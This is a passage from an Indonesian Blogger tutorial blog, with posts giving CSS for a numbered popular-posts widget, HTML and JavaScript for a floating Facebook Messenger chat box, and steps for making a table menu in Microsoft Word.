Post widget adalah widget, yang menunjukkan sebagian besar melihat posting (7days lalu, terakhir 30 hari dan sepanjang waktu melihat) dan Widget ini pasti selalu dipakai pertama oleh para Blogger. Karena tulisan populer widget adalah yang paling penting dalam setiap blog. Dengan menggunakan tulisan populer widget, Anda dapat meningkatkan <b>traffic blog</b> Anda. Setiap pengguna selalu mencari tulisan paling menarik, bahwa pengguna membuat membantu. Oke langsung saja kita praktekan. .<br /><br /><b>Screenshoot :</b><br /><div style="text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi_uoB-pVc_tJoHHRsh2JGlLxFjgkVVrwjFWfFQzCuVX11PdxZtGpVq2GQR58GfEiz4XlT9ekm0s6CFgegxFQcVdaWOITPn_BSE2pG5-qiiqfFOLK5olMM4CFKcUOnZkSakPoZbuTzPXVA/s1600/%255BMayCyber%255D+-+Tutorial+Popular+Post_1.gif" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="400" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi_uoB-pVc_tJoHHRsh2JGlLxFjgkVVrwjFWfFQzCuVX11PdxZtGpVq2GQR58GfEiz4XlT9ekm0s6CFgegxFQcVdaWOITPn_BSE2pG5-qiiqfFOLK5olMM4CFKcUOnZkSakPoZbuTzPXVA/s400/%255BMayCyber%255D+-+Tutorial+Popular+Post_1.gif" width="282" /></a></div></div></div><b><span style="font-size: large;"><br />Cara Membuat Popular Post Thumbnail dan Auto Numbering</span></b><br /><br />Cara Pertama :<br /><br />1. Buka <a href="http://blogger.com/">Blogger </a>- Kemudian Login.<br />2. Dashboard - Template.<br />3. Edit HTML<br /><br />Proses Pembuatan :<br /><br />1. Temukan kode <CTRL+F> <span style="color: red;"><b>]]></b:skin></b> </span>atau <b style="color: red;"></style></b><br />2. Copy & Paste kode berikut ini, dan Letakkan diatas kode <b style="color: red;">]]></b:skin> </b>atau<b> <span style="color: red;"></style></span></b><br /><pre data-codetype="CSS" title="CSS"><code class="language-css">/* CSS Popular Post */<br />.PopularPosts ul,.PopularPosts li,.PopularPosts li img,.PopularPosts li a,.PopularPosts li a img{list-style:none;border:none;background:none;outline:none;margin:0;padding:0}<br />.PopularPosts ul{list-style:none;font-family:'Oswald',Sans-Serif;font-size:13px;color:#919392;margin:.5em 0}<br />.PopularPosts ul li img{display:block;width:70px;height:70px;float:left;margin:0 15px 0 0; border: 1px solid silver;padding: 2px;}<br />.PopularPosts ul li{background-color:#eee;counter-increment:num;position:relative;margin:0 10% 0 0;padding:10px}<br />.PopularPosts ul li:before,.PopularPosts ul li .item-title a{font-weight:700;font-size:13px;color:#919392;text-decoration:none;transition:.5s linear; font-family: Open Sans;}<br />.PopularPosts ul li:before{content:counter(num);display:block;position:absolute;background-color:rgb(247, 73, 73);color:#fff;width:30px;height:28px;line-height:25px;text-align:center;bottom:0;right:0;margin-top:15px;transition:.5s linear; border-radius: 10%;font-size: 18px; padding: 5px;}<br />.PopularPosts ul li:nth-child(1),.PopularPosts ul li:nth-child(2),.PopularPosts ul li:nth-child(3),.PopularPosts ul li:nth-child(4),.PopularPosts ul li:nth-child(5),.PopularPosts ul li:nth-child(6),.PopularPosts ul li:nth-child(7),.PopularPosts ul li:nth-child(8),.PopularPosts ul li:nth-child(9),.PopularPosts ul li:nth-child(10){background:#fff;color:#aaacab; border-bottom:1px solid #EFEFEF;transition:all .5s linear;}<br />PopularPosts ul li:last-child{border-bottom:none;}<br />.PopularPosts ul li:hover:nth-child(1),.PopularPosts ul li:hover:nth-child(2),.PopularPosts ul li:hover:nth-child(3),.PopularPosts ul li:hover:nth-child(4),.PopularPosts ul li:hover:nth-child(5),.PopularPosts ul li:hover:nth-child(6),.PopularPosts ul li:hover:nth-child(7),.PopularPosts ul li:hover:nth-child(8),.PopularPosts ul li:hover:nth-child(9),.PopularPosts ul li:hover:nth-child(10){background-color:#fafafa;transition:all .5s linear;}<br />.PopularPosts ul li:hover .item-title a{color:#37B576;transition:all .5s linear;}<br />.PopularPosts ul li:hover:before{background-color:#37B576;color:#fff;transition:all .5s linear;}<br />.PopularPosts .item-thumbnail{float:left;margin:0 0 0 10px;}<br />.PopularPosts ul li .item-snippet {display:none;visibility:hidden;opacity:0;font-size:11px;color:#383838;transition:all .5s linear; font-family: Open Sans;}<br />.PopularPosts ul li:hover .item-snippet {display:block;visibility:visible;opacity:1;transition:all .5s linear;}</code></pre>3. Simpan Template.<br />4. Buka Tata Letak/Layout.<br />5. Add a Gadget > Pilih <span style="color: blue;">Entri Populer.</span><br /><br /><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjhpJrcf6hG_fx9RGxuiesm4PgLeTsOM1hsq1dA_6wuBuzHco3rElLRVWsTZ1GEgVvQm9oGFcNWDqETVxYccQ2MazSuXTkdZ-p76EKES4yViOnrtBVa5BcErzzom8f6_1uHg9BooaCvcXI/s1600/%255BMayCyber%255D+-+Tutorial+Popular+Post_2.gif" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="400" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjhpJrcf6hG_fx9RGxuiesm4PgLeTsOM1hsq1dA_6wuBuzHco3rElLRVWsTZ1GEgVvQm9oGFcNWDqETVxYccQ2MazSuXTkdZ-p76EKES4yViOnrtBVa5BcErzzom8f6_1uHg9BooaCvcXI/s400/%255BMayCyber%255D+-+Tutorial+Popular+Post_2.gif" width="391" /></a></div>6. Terakhir, Simpan Gadget.<br /><br />Sekian Tutorial Blogger kali ini, Terakhir silakan anda lihat blog anda, maka akan muncul widget tersebut. Sekian dari saya <b>Semoga Bermanfaat!</b> <span style="font-size: large;"><span style="font-size: small;">Thank's For Reading & Sharing and Visited; </span></span><b>Cara Membuat Popular Post Thumbnail dan Auto Numbering</b></div></div>

Diposting oleh Mr Xiulung

Cara Membuat Chat Box Facebook Messenger di Blogger

<div dir="ltr" style="text-align: left;" trbidi="on"><div dir="ltr" style="text-align: left;" trbidi="on">Apakah anda ingin mempermudah pengunjung Anda dalam berkomunikasi dengan Admin? Ya, maka widget ini sangat cocok untuk Anda. Fungsi dari <b>Chat Box Facebook Messenger</b> ini mempermudah pengunjung dalam berkomunikasi dengan Admin Blog melalui perantara <b>Facebook Fanspage</b>. Umumnya di Blogger kita hanya menggunakan From "Kontak/Contact" yang tersedia di Blogger untuk menerima Email dari pembaca blog atau pengunjung blog. Tetapi jika Anda ingin menggunakan <a href="http://facebook.com/">Facebook </a>sebagai utusan pertama dalam menerima pesan? Widget ini sangat cocok untuk Anda. Syarat menggunakan <b>Chat Box Facebook Messenger</b> ini adalah Anda hanya mempunyai sebuah <b>Fanspage di Facebook</b>. Pesan yang dikirim oleh pengunjung melalui blog anda akan diterima oleh anda di <b>Fanspage Facebook</b> anda sendiri.<br /><br />Baca Juga : <br /><ul style="text-align: left;"><li><a href="http://maycyber-download.blogspot.com/2016/11/cara-membuat-tabel-pada-blogger.html">Cara Membuat Tabel dan Menu Tabel pada Blogger</a></li></ul>Widget ini cocok untuk blog/website yang mempunyai bisnis online. Karena memudahkan pengunjung dalam berkomunikasi dengan Admin atau pemilik website tersebut. Widget Chat Box Facebook Messenger ini mempesona serta mengambang di kiri blog dan tidak menempati ruang apapun dalam blog anda.<br /><br /><b>Screenshoot : </b><br /><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEidUQLCGldsjUcTFBAFkLvzQO-oyzBcQVgue6JcLtucYOtf43TqdMr6O7MrmPHvNr_xemBgWO9m7h5DCPJ5A5BV_DdnOen9QqpLp6X4UgGonaG3_im0Q2ZWAobCGPTNnq3D3SLs_NBTlpM/s1600/%255BMayCyber%255D+-+Chat+Box+Facebook+Messenger_1.gif" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="400" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEidUQLCGldsjUcTFBAFkLvzQO-oyzBcQVgue6JcLtucYOtf43TqdMr6O7MrmPHvNr_xemBgWO9m7h5DCPJ5A5BV_DdnOen9QqpLp6X4UgGonaG3_im0Q2ZWAobCGPTNnq3D3SLs_NBTlpM/s400/%255BMayCyber%255D+-+Chat+Box+Facebook+Messenger_1.gif" width="281" /></a></div><b><br /></b>Cara Pertama : <br /><br />1. Buka <a href="http://blogger.com/">Blogger </a>- Kemudian login<br />2. Dashboard - Tata letak/Layout<br /><br /><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgX0R2MDVj-3FWs9xGwVuJy0W_sSNensFUXvsZ72uuh5Av3tngs-XHBzFTkheADUFnPpkBrQRQeREKwEhMZGes6uFhdYd8HkSUCibovzD3fMTG_qxmYDQ4G1aei1UYaVnEMsm2ev9DKkOU/s1600/%255BMayCyber%255D+-+Chat+Box+Facebook+Messenger_2.gif" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="400" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgX0R2MDVj-3FWs9xGwVuJy0W_sSNensFUXvsZ72uuh5Av3tngs-XHBzFTkheADUFnPpkBrQRQeREKwEhMZGes6uFhdYd8HkSUCibovzD3fMTG_qxmYDQ4G1aei1UYaVnEMsm2ev9DKkOU/s400/%255BMayCyber%255D+-+Chat+Box+Facebook+Messenger_2.gif" width="361" /></a></div><br />3. Add a Gadget - Pilih <b>HTML Java Script.</b><br />4. Copy & Paste kode berikut ini, dan Letakkan pada gadget HTML Java Script itu.<br /><pre data-codetype="HTML" title="CSS, HTML, Java Script"><code class="language-markup"><style type="text/css"><br />#b-c-facebook .fbchat_box,#chat_f_b_smal,#f_bt_start_chat{background:#3a5897}<br />#fbchat_box{padding-right:15px;max-width:210px;max-height:50px;display:block;transition:all .3s}<br />#b-c-facebook .f-chat-conent .chat-single a,#chat_f_b_smal{font-family:Arial,sans-serif}<br />#b-c-facebook .fbchat_box,#chat_f_b_smal{text-shadow:0 1px 0 rgba(0,0,0,.1);background-repeat:repeat-x;background-size:auto;background-position:0 0;text-decoration:none}<br />.chat_f_vt{position:fixed;right:10px}<br />#chat_f_b_smal{padding:0 10px;cursor:pointer;width:90px;color:#fff;height:38px;line-height:38px;background-color:#3a5897;border:0;margin-right:12px;font-size:14px;z-index:999999999;bottom:0;border-top-left-radius:5px;border-top-right-radius:5px;bottom:-400px;transition:all .3s;text-align:center;display:block}<br />#chat_f_b_smal:hover{background-color:#3B5998;opacity:1}<br />#b-c-facebook{margin-right:50px;bottom:0;z-index:9999999999;transition:all .3s;width:250px;height:auto;max-height:375px;min-height:38px;box-shadow:0 10px 50px 0 rgba(0,0,0,0.25);border-top-left-radius:5px;border-top-right-radius:5px;overflow:hidden;display:block}<br />#b-c-facebook .f-chat-conent{float:left;width:100%;height:335px;overflow:hidden;display:none;background-color:#fff;position:relative}<br />#b-c-facebook .f-chat-conent .chat-single{float:left;position:absolute;bottom:0;left:0;background-color:#fff;line-height:25px;color:#fff;width:100%}<br />#b-c-facebook .f-chat-conent .chat-single a{float:left;text-decoration:none;margin-left:10px;color:#0C5BB5;font-size:12px}<br />#b-c-facebook .f-chat-conent .chat-single a:hover{color:#F60}<br />#b-c-facebook .fbchat_box label{width:185px}<br />#b-c-facebook .f-chat-conent .chat-single label{float:right;color:silver;margin-right:5px;font-size:12px;font-family:Arial}<br />#b-c-facebook .fbchat_box,#b-c-facebook .fbchat_box label{line-height:20px;margin:0;cursor:pointer;font-family:Arial,sans-serif;font-size:14px}<br />#b-c-facebook .f-chat-conent .chat-single i{color:#0C5BB5}<br />#b-c-facebook .f-chat-conent .fb-page{margin-top:0;float:left;height:310px}<br />#b-c-facebook .fbchat_box{float:left;padding:0 25px;padding-left:15px;width:250px;color:#fff;height:38px;line-height:38px;background-color:#3a5897;border:0;z-index:9999999;margin-right:12px}<br />#b-c-facebook .fbchat_box label{position:absolute;top:10px}<br />//Widget by MayCyber-Download<br />.title-f-chat-icon{margin-left:-10px}<br />#t_f_chat{float:left;position:absolute;right:15px;top:-5px}<br />#t_f_chat a{color:#fff;font-size:17px;font-family:verdana;text-decoration:none}<br />#t_f_chat a:hover i{color:#ff0;text-decoration:none}<br />.chat-left-5{margin-left:2px}<br />#start_chat{position:absolute;width:248px;height:239px;top:70px;left:0;background-color:#fff;padding:10px;float:left;display:none}<br />#start_chat em{font-size:11px;color:gray}<br />.msg_b{color:#434a54;width:80%;word-wrap:break-word;overflow:hidden;font-family:Arial,sans-serif;font-size:14px;background:#edeef1;padding:10px;min-height:13px;margin-bottom:5px;position:relative;margin:5px;border-radius:5px;border:1px solid #dfe3e9}<br />#close_chat{opacity:0.5}<br />#close_chat:hover{opacity:1}<br />.msg_b a{text-decoration:underline;color:#01509E}<br />#f_bt_start_chat{margin:auto;background-color:#3a5897;border-radius:3px;color:#fff;font-family:Arial;font-size:14px;font-weight:bold;padding:9px 35px;text-decoration:none}<br />#f_bt_start_chat:hover{text-decoration:none;opacity:0.8}<br />#start_chat p{margin-top:30px}<br />#fb_alert_num{background-color:#ff0;padding:0 7px;color:red;border-radius:40px;font-size:13px;font-family:Arial;font-weight:700;position:absolute;right:55px;top:12px;height:20px;line-height:20px;display:none!important}<br />.hide_chatbox{display:none}<br />#f_enter_3{margin-top:30px}<br /></style><br /><br /><script><br />//<![CDATA[<br />function check_fist_vist_f(){var _=f_read_cki("check_fist_vist_f");(0==_||""==_)&&(fb_eshow("f-chat-conent"),f_create_cki("check_fist_vist_f","1",1),f_create_cki("f_chat_open","1",1))}<br />function close_chat(){fb_ehide('b-c-facebook'),f_create_cki('close_chat',1,1),$('body').find('.zopim').remove(),fb_eshow('chat_f_b_smal'),on_playsound('click')}<br />function open_chat(){f_create_cki('close_chat','0',1),fb_eshow('b-c-facebook'),fb_eshow('f-chat-conent'),fb_ehide('chat_f_b_smal')}<br />function f_bt_start_chat(){f_create_cki('f_bt_start_chat','1',10),fb_ehide('start_chat'),fb_ehide('fb_alert_num'),on_playsound('click')}<br />function f_c_start_chat(){var t=f_read_cki('f_bt_start_chat');0==t||''==t?(fb_eshow('start_chat '),fb_eshow('fb_alert_num'),f_chat_step()):(fb_ehide('start_chat'),fb_ehide('fb_alert_num'))}<br />function b_f_chat(){var t=f_read_cki('f_chat_open');0==t||''==t?(fb_eshow('f-chat-conent'),f_create_cki('f_chat_open','1',1)):(fb_ehide('f-chat-conent'),f_create_cki('f_chat_open','0',1)),on_playsound('click')}<br />function f_ck_chat(){check_fist_vist_f();f_c_start_chat();var t=f_read_cki('close_chat');if(''==t||0==t||'0'==t){fb_eshow('b-c-facebook'),fb_ehide('chat_f_b_smal');var e=f_read_cki('f_chat_open');(1==e||'1'==e)&&fb_eshow('f-chat-conent')}else fb_eshow('chat_f_b_smal'),fb_ehide('b-c-facebook')}<br />function f_chat_step(){on_playsound('door_bell')<br />fb_eshow('f_enter_1');fb_eshow('f_enter_3');}<br />function fb_eshow(t){document.getElementById(t).style.display='block';}<br />function fb_ehide(t){document.getElementById(t).style.display='none';}<br />function f_create_cki(t,e,n){if(n){var o=new Date;o.setTime(o.getTime()+24*n*60*60*1e3);var c='; expires='+o.toGMTString()}else var c='';document.cookie=t+'='+e+c+'; path=/';}<br />function f_read_cki(t){for(var e=t+'=',n=document.cookie.split(';'),o=0;o<n.length;o++){for(var c=n[o];' '==c.charAt(0);)c=c.substring(1,c.length);if(0==c.indexOf(e))return c.substring(e.length,c.length)}<br />return''}<br />function on_playsound(t){}<br />function ionSound(){1==web_sound&&$.ionSound({sounds:['click','door_bell'],path:fb_path.live_chat_path+'sounds/',multiPlay:!0,volume:'1.0'})}<br />var web_sound=!0;jQuery(document).ready(function(t){t(window).scroll(function(){var e=t(window).width();680>=e?f_create_cki('f_chat_open','0',1):f_create_cki('f_chat_open','1',1)})}),setTimeout(function(){f_ck_chat()},1000);var $=jQuery.noConflict();!function(t){if(!t.ionSound){var e,n,o,c,_={},f={},a=!1,i=function(e){var c,a;-1!==e.indexOf(':')?(c=e.split(':')[0],a=e.split(':')[1]):c=e,f[c]=new Audio,n=f[c].canPlayType('audio/mp3'),o='probably'===n||'maybe'===n?_.path+c+'.mp3':_.path+c+'.ogg',t(f[c]).prop('src',o),f[c].load(),f[c].preload='auto',f[c].volume=a||_.volume},u=function(t){var e,n,o,c;if(-1!==t.indexOf(':')?(n=t.split(':')[0],o=t.split(':')[1]):n=t,e=f[n],'object'==typeof e&&null!==e)<br />if(o&&(e.volume=o),_.multiPlay||a){if(_.multiPlay)<br />if(e.ended)e.play();else{try{e.currentTime=0}catch(i){}<br />e.play()}}else e.play(),a=!0,c=setInterval(function(){e.ended&&(clearInterval(c),a=!1)},250)},l=function(t){var e=f[t];if('object'==typeof e&&null!==e){e.pause();try{e.currentTime=0}catch(n){}}},r=function(t){var e=f[t];if('object'==typeof e&&null!==e){try{f[t].src=''}catch(n){}<br />f[t]=null}};t.ionSound=function(n){if(_=t.extend({sounds:['water_droplet'],path:'/sounds/',multiPlay:!0,volume:'0.5'},n),e=_.sounds.length,'function'==typeof Audio||'object'==typeof Audio)<br />for(c=0;e>c;c+=1)i(_.sounds[c]);t.ionSound.play=function(t){u(t)},t.ionSound.stop=function(t){l(t)},t.ionSound.kill=function(t){r(t)}},t.ionSound.destroy=function(){for(c=0;e>c;c+=1)f[_.sounds[c]]=null;e=0,t.ionSound.play=function(){},t.ionSound.stop=function(){},t.ionSound.kill=function(){}}}}(jQuery);<br />//]]><br /></script><br /><br /><a title="Open Chat" id="chat_f_b_smal" onclick="open_chat()" class="chat_f_vt">Open Chat</a> <div id="b-c-facebook" class="chat_f_vt"> <div id="fbchat_box" onclick="b_f_chat()" class="fbchat_box"> <label>Send Message to Admin</label> <span id="fb_alert_num">1</span> <div id="t_f_chat"><div class='close_chatfb' onclick='hidechatfb()'>&#95;</div></div></div><div id="f-chat-conent" class="f-chat-conent"> <div class="fb-page" data-tabs="messages" data-href="<span style="color: red;">https://facebook.com/MayCyber-Download-1098896160183608/</span>" data-width="250" data-height="310" data-small-header="true" data-adapt-container-width="true" data-hide-cover="true" data-show-facepile="false" data-show-posts="true"> </div><div id="start_chat"> <div id="f_enter_1" class="msg_b hide_chatbox"> Hello! Thanks for visiting my site. Please press Start button to Contact with Admin :) </div><p id="f_enter_3" class="hide_chatbox" align="center"> <a href="javascript:;" onclick="f_bt_start_chat()" id="f_bt_start_chat">Start</a> </p></div></div></div><br /><br /><div id="fb-root"></div><br /><script>(function(d,s,id){var js,fjs=d.getElementsByTagName(s)[0];if(d.getElementById(id))return;js=d.createElement(s);js.id=id;js.src="//connect.facebook.net/en_US/sdk.js#xfbml=1&version=v2.5";fjs.parentNode.insertBefore(js,fjs);}(document,'script','facebook-jssdk'));</script></code></pre><b>Catatan : </b><br /><br />Silakan ganti URL Fanspage saya, dengan URL Fanspage Anda.<br />(<span style="color: blue;">https://facebook.com/maycyber-download-1098896160183608/</span>)<br /><br />5. Simpan.<br /><span style="font-size: large;"><span style="font-size: small;"><b>Jangan lupa Like Fanspage baru kami : <a href="https://facebook.com/MayCyber-Download-1098896160183608/">MayCyber-Download </a></b></span></span><br />Terakhir silakan anda lihat blog anda, maka akan muncul widget tersebut. Sekian dari saya Semoga Bermanfaat! <span style="font-size: large;"><span style="font-size: small;"> Thank's For Reading & Sharing and Visited; <b>Cara Membuat Chat Box Facebook Messenger di Blogger<a href="https://facebook.com/MayCyber-Download-1098896160183608/"></a></b></span></span></div></div>

Diposting oleh Mr Xiulung

Cara Membuat Tabel dan Menu Tabel pada Blogger

<div dir="ltr" style="text-align: left;" trbidi="on"><div dir="ltr" style="text-align: left;" trbidi="on"><div dir="ltr" style="text-align: left;" trbidi="on">Menemapatkan Menu pada Header itu sudah biasa, kali ini saya akan mempostingan sesuai judul yaitu<b> Cara Membuat Menu Tabel pada Blogger Sederhana</b> dengan <b>Microsoft Word</b>. Kebanyakan para Blogger menempatkan Menu mereka dibagian Menu Header dan Menu Navigasi. Tapi saya ingin kreasikan sendiri menu itu, yaitu dengan cara menempatkan semua menu saya ke dalam Tabel. Jadi semua kategori saya tempatkan jadi satu menu dan satu halaman yaitu dengan Tabel tersebut. Ide ini saya pikirkan, dan saya kreasikan sendiri.<br /><div dir="ltr" style="text-align: left;" trbidi="on"><br />Jika kalian ingin membuat menu anda jadi simple, seperti gambar dibawah. Untuk membuat menu seperti itu anda hanya memerlukan Microsoft Word.<br />Ide ini saya pikirkan, karena menu saya sangat kebanyakan. Jadi saya ingin menempatkan menu itu jadi satu halaman dan satu menu.<br />Mungkin dari artikel ini saya sudah menjelaskan :<br /><br /><span style="color: blue;">1. Cara Membuat Menu Tabel pada Blogger<br />2. Cara Membuat dan Memasang Tabel pada Blogger</span><br /><br /><b>Screenshoot :</b><br /><br /><div style="text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiJttgJCLZ0eFkwDqNye60wpPswVyIdqRUra1_XoEXzm3vG9ux9E3KTmhkXnhHx2sSJTR8aoxk2eT8gWW_dnZGVFeQtuUHd5oIW6Q_Gx5UyzLlw7cL1lOiiBEdjT6bJJVFCJKy7DoVZbZ8/s1600/%255BMayCyber%255D+-+Cara+Membuat+Menu+Tabel.jpg" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="380" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiJttgJCLZ0eFkwDqNye60wpPswVyIdqRUra1_XoEXzm3vG9ux9E3KTmhkXnhHx2sSJTR8aoxk2eT8gWW_dnZGVFeQtuUHd5oIW6Q_Gx5UyzLlw7cL1lOiiBEdjT6bJJVFCJKy7DoVZbZ8/s400/%255BMayCyber%255D+-+Cara+Membuat+Menu+Tabel.jpg" width="400" /></a></div></div><br /><b>Screenshoot "<span style="color: blue;">Menu Header Kebanyakan</span>"</b><br /><br /><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhcTG01bmma6D-slTaVakUWsTuDD7U0NZRZeLhkz6KikX6MV-vNM1TTgxJaxVeHT-fS035n_xxbNv1tf4yXGlJJzFgpysfOLq-Ha3I-jUk51_1J1aYAWGkqK3hcv85YZ1dn_9Ha7duIiRc/s1600/MayCyber-Download_Menu.jpg" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="132" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhcTG01bmma6D-slTaVakUWsTuDD7U0NZRZeLhkz6KikX6MV-vNM1TTgxJaxVeHT-fS035n_xxbNv1tf4yXGlJJzFgpysfOLq-Ha3I-jUk51_1J1aYAWGkqK3hcv85YZ1dn_9Ha7duIiRc/s640/MayCyber-Download_Menu.jpg" width="640" /></a></div><br /><div style="text-align: center;"><b><span style="font-size: large;">Cara Membuat Menu Tabel pada Blogger dengan Microsoft Word</span></b> </div><br /><b>Cara Pertama : </b><br /><br />1. Buka <b>Microsoft Word</b><br />2. Buatlah Tabel sesuai dengan selera Anda.<br /><span style="font-size: large;"><br /></span><br /><div style="text-align: center;"><span style="font-size: large;"><b>Buat Tabel di Microsoft Word</b></span></div><div style="text-align: left;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgdT1cOt7RpAmlXYuVD-0h74RkXfXQ-HB8jAKVkEs_wkyKiX1H8k2Kti42ucJavhT44ZZ6RG0TKtfz1fVa9OX0XUsVXS7M_a51ybQ-av3lBEwBVqE3peiN9slncUzhSMGlkG95zoQGjDqs/s1600/%255BMayCyber%255D+-+Cara+Membuat+Menu+Tabel.jpg" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="476" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgdT1cOt7RpAmlXYuVD-0h74RkXfXQ-HB8jAKVkEs_wkyKiX1H8k2Kti42ucJavhT44ZZ6RG0TKtfz1fVa9OX0XUsVXS7M_a51ybQ-av3lBEwBVqE3peiN9slncUzhSMGlkG95zoQGjDqs/s640/%255BMayCyber%255D+-+Cara+Membuat+Menu+Tabel.jpg" width="640" /></a> 3. Jika sudah membuat Tabel di Microsoft Word. Sekarang Save File itu.<span style="color: red;"> Perhatikan</span> cara Save nya agar bisa dipasangkan di Blogger. Silakan pilih "Web Page"<i><b> <HTML></b></i><br /><br /><div style="text-align: center;"><b><span style="font-size: large;">Save. Pilih Web Page </span></b><b><span style="font-size: large;"><HTML></span></b></div></div><div class="separator" style="clear: both; text-align: left;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjKHozHx4lYNv0WlwZbmklbV9m5tJBA9ZZC9TzLS4LdOOMm3D3Tsjes_VKEcl7A0fDhtioH47UOyV1kgDaI_7pC2vA6lPgFb0Pb0_F0toWcVmCKGWD72u-AKNXDDbf9K2aHjUa_PuiY97M/s1600/%255BMayCyber%255D+-+Tutorial+Menu+Tabel.jpg" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="448" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjKHozHx4lYNv0WlwZbmklbV9m5tJBA9ZZC9TzLS4LdOOMm3D3Tsjes_VKEcl7A0fDhtioH47UOyV1kgDaI_7pC2vA6lPgFb0Pb0_F0toWcVmCKGWD72u-AKNXDDbf9K2aHjUa_PuiY97M/s640/%255BMayCyber%255D+-+Tutorial+Menu+Tabel.jpg" width="640" /></a></div><br />4. Buka lokasi dimana Anda menyimpan File tadi. Silakan > <b>Open With > Pilih Notepad.</b><br /><div class="separator" style="clear: both; text-align: left;"><br /></div><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhu25cblocRoJ13FhIHCWtUa6_8QnArsxNCAjdZU2PmHl2Hl2CcdiKH-DyqRiq29mnixplH2M9lstD-Ta2WBYJvNbHsqz8rpKjNKL9qLKpV41r233U9VcZLkMI_z6AKGsXeL58N0zapYq8/s1600/%255BMayCyber%255D+-+Tutorial+Menu+Tabel_1.jpg" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="366" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhu25cblocRoJ13FhIHCWtUa6_8QnArsxNCAjdZU2PmHl2Hl2CcdiKH-DyqRiq29mnixplH2M9lstD-Ta2WBYJvNbHsqz8rpKjNKL9qLKpV41r233U9VcZLkMI_z6AKGsXeL58N0zapYq8/s640/%255BMayCyber%255D+-+Tutorial+Menu+Tabel_1.jpg" width="640" /></a></div><div class="separator" style="clear: both; text-align: center;"><br /></div><div style="text-align: left;">5. Sehingga menjadi Sebuah <b>kode HTML</b>. Silakan Anda <b>Copy & Paste</b> kode tersebut dan Pastekan di<b> Laman Kosong.</b><br /><i><br /></i><br /><div style="text-align: center;"><b><span style="font-size: large;">Sellect All <Copy> </span></b></div></div><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjt-TPck6LpvsRTtPTlFg0xvJYDglU4XShBaUGXiPQPQWVorZ7X6489Urmom41cxukHOPP1WGd1MP7UONAlk0YAQP-sERiz_I6t1LkNUoAOnaE3_MN7fSTF6iMXhwLfZEJxZQOFT_xTdiU/s1600/%255BMayCyber%255D+-+Tutorial+Menu+Tabel_2.jpg" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="308" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjt-TPck6LpvsRTtPTlFg0xvJYDglU4XShBaUGXiPQPQWVorZ7X6489Urmom41cxukHOPP1WGd1MP7UONAlk0YAQP-sERiz_I6t1LkNUoAOnaE3_MN7fSTF6iMXhwLfZEJxZQOFT_xTdiU/s640/%255BMayCyber%255D+-+Tutorial+Menu+Tabel_2.jpg" width="640" /></a> </div></div><br /></div>6. Setelah men-<b>Sellect all</b> script nya sekarang adalah langkah memasangnya. Anda membuka <b>Laman > Laman kosong.</b><br /><br /><div style="text-align: center;"><b><i> </i><span style="font-size: large;">Buat Laman Baru</span></b></div><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg-UKRmNU4X6ji_wUGYyhQW-k0RlY67J6pH-zghjSUNCSCm1YiMcQW8zRYH0u7QjAXWWuW4PAR973GndpzDe-bxCvnTUZRinxiIuvYMKdr2Ajz7vBAQp2uhVO0TSnTntaVCdpS4RyZ_pfQ/s1600/%255BMayCyber%255D+-+Tutorial+Menu+Tabel_3.jpg" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="426" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg-UKRmNU4X6ji_wUGYyhQW-k0RlY67J6pH-zghjSUNCSCm1YiMcQW8zRYH0u7QjAXWWuW4PAR973GndpzDe-bxCvnTUZRinxiIuvYMKdr2Ajz7vBAQp2uhVO0TSnTntaVCdpS4RyZ_pfQ/s640/%255BMayCyber%255D+-+Tutorial+Menu+Tabel_3.jpg" width="640" /></a></div><br />7.  Jika sudah membuat tabel dan meng-copy script yang sudah di sellect all itu. Langkah selanjutnya adalah bagaimana cara memasangnya di Blogger. Mudah saja, Anda hanya meng-copy kode HTML tadi ke Laman. Contohnya seperti di bawah ini. <br /><br /><div style="text-align: center;"><span style="font-size: large;"><b>Paste kode HTML yang di Notepad ke Laman kosong </b></span></div><div style="text-align: center;"><span style="font-size: large;"><b><Pilih HTML></b></span><br /><br /><div style="text-align: left;"><a 